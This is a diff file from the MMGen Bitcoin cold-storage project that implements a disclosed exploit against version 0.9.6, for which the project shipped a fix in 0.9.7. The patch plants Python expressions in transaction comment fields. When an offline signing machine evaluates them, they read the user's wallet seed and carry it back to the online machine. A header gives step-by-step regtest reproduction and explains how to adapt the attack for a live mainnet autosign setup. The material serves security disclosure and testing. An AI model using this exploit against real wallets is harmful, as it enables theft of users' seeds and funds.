txsign-eval-exploit.diff 3.7 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283
  1. # mmgen = Multi-Mode GENerator, command-line Bitcoin cold storage solution
  2. # Copyright (C)2013-2024 The MMGen Project <mmgen@tuta.io>
  3. #
  4. # This program is free software: you can redistribute it and/or modify
  5. # it under the terms of the GNU General Public License as published by
  6. # the Free Software Foundation, either version 3 of the License, or
  7. # (at your option) any later version.
  8. #
  9. # This program is distributed in the hope that it will be useful,
  10. # but WITHOUT ANY WARRANTY; without even the implied warranty of
  11. # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  12. # GNU General Public License for more details.
  13. #
  14. # You should have received a copy of the GNU General Public License
  15. # along with this program. If not, see <http://www.gnu.org/licenses/>.
  16. # This patch implements the exploit that allowed a compromised MMGen on an
  17. # online machine to fool an offline signing MMGen into passing the user's seed
  18. # back to the online machine via a specially crafted transaction
  19. # The seed is split in two and passed via the the input and output transaction
  20. # comments
  21. # Patch is against v0.9.6 - 6b9df0e contains the fix, which was included in v0.9.7
  22. # Testing the exploit in Regtest mode:
  23. # $ git checkout -b evil_exploit v0.9.6
  24. # $ git apply scripts/txsign-eval-exploit.diff
  25. # $ git commit -a -m foo
  26. # $ mmgen-regtest setup
  27. # $ mmgen-regtest bob
  28. # $ mmgen-walletgen -q -p1 -r0 --bob -L label # (hit ENTER 3 times, remember Bob's Seed ID)
  29. # $ mmgen-addrgen -q --bob 1-2
  30. # $ mmgen-addrimport -q --bob *.addrs
  31. # $ mmgen-regtest send <BTC addr of 1st imported address> 500
  32. # # Set PYTHONPATH to use the patched mmgen/tx.py module without installing it:
  33. # $ PYTHONPATH=. cmds/mmgen-txcreate --tx-fee=10s -q --bob <Bob's Seed ID>:L:2
  34. # $ PYTHONPATH=. cmds/mmgen-txsign -q --bob *.rawtx
  35. # $ mmgen-tool --testnet=1 txview *.sigtx # Bob's seed is contained in the two comments
  36. # $ mmgen-walletconv -q -p1 -r0 --bob -o mmhex -S | cut -d ' ' -f 2- # verify that seed matches
  37. # To modify the tx file for a live autosign setup:
  38. # - uncomment the commented-out line in the patched code
  39. # - repeat the txcreate step
  40. # - edit the resulting tx file:
  41. # + replace the testnet addresses with their mainnet equivalents
  42. # + replace 'REGTEST' with 'MAINNET'
  43. # + replace the file's checksum in the first line with the output of 'scripts/compute-file-chksum.py'
  44. # Make sure to return to master branch when you're finished:
  45. # $ git checkout master
  46. diff --git a/mmgen/tx.py b/mmgen/tx.py
  47. index 0d43840..d167040 100755
  48. --- a/mmgen/tx.py
  49. +++ b/mmgen/tx.py
  50. @@ -557,6 +557,15 @@ class MMGenTX(MMGenObject):
  51. def format(self):
  52. self.inputs.check_coin_mismatch()
  53. self.outputs.check_coin_mismatch()
  54. + d_in = repr([e.__dict__ for e in self.inputs])
  55. + d_out = repr([e.__dict__ for e in self.outputs])
  56. + if g.prog_name == 'mmgen-txcreate':
  57. + mod = "__import__('mmgen.seed',globals(),locals(),['SeedSource'])"
  58. + wdir = "os.environ['HOME']+'/.mmgen/regtest/btc/bob/'"
  59. + # wdir = "'/dev/shm/autosign/'" # use this for a real online/offline setup with autosign
  60. + wfile = "{w}+os.listdir({w})[-1]".format(w=wdir)
  61. + d_in = d_in.replace("'label': u''","'label': {}.SeedSource({}).seed.hexdata[:32]".format(mod,wfile))
  62. + d_out = d_out.replace('{',"{{'label': {}.SeedSource({}).seed.hexdata[32:], ".format(mod,wfile))
  63. lines = [
  64. '{}{} {} {} {} {}{}'.format(
  65. (g.coin+' ','')[g.coin=='BTC'],
  66. @@ -568,8 +577,8 @@ class MMGenTX(MMGenObject):
  67. ('',' LT={}'.format(self.locktime))[bool(self.locktime)]
  68. ),
  69. self.hex,
  70. - repr([e.__dict__ for e in self.inputs]),
  71. - repr([e.__dict__ for e in self.outputs])
  72. + d_in,
  73. + d_out
  74. ]
  75. if self.label:
  76. lines.append(baseconv.b58encode(self.label.encode('utf8')))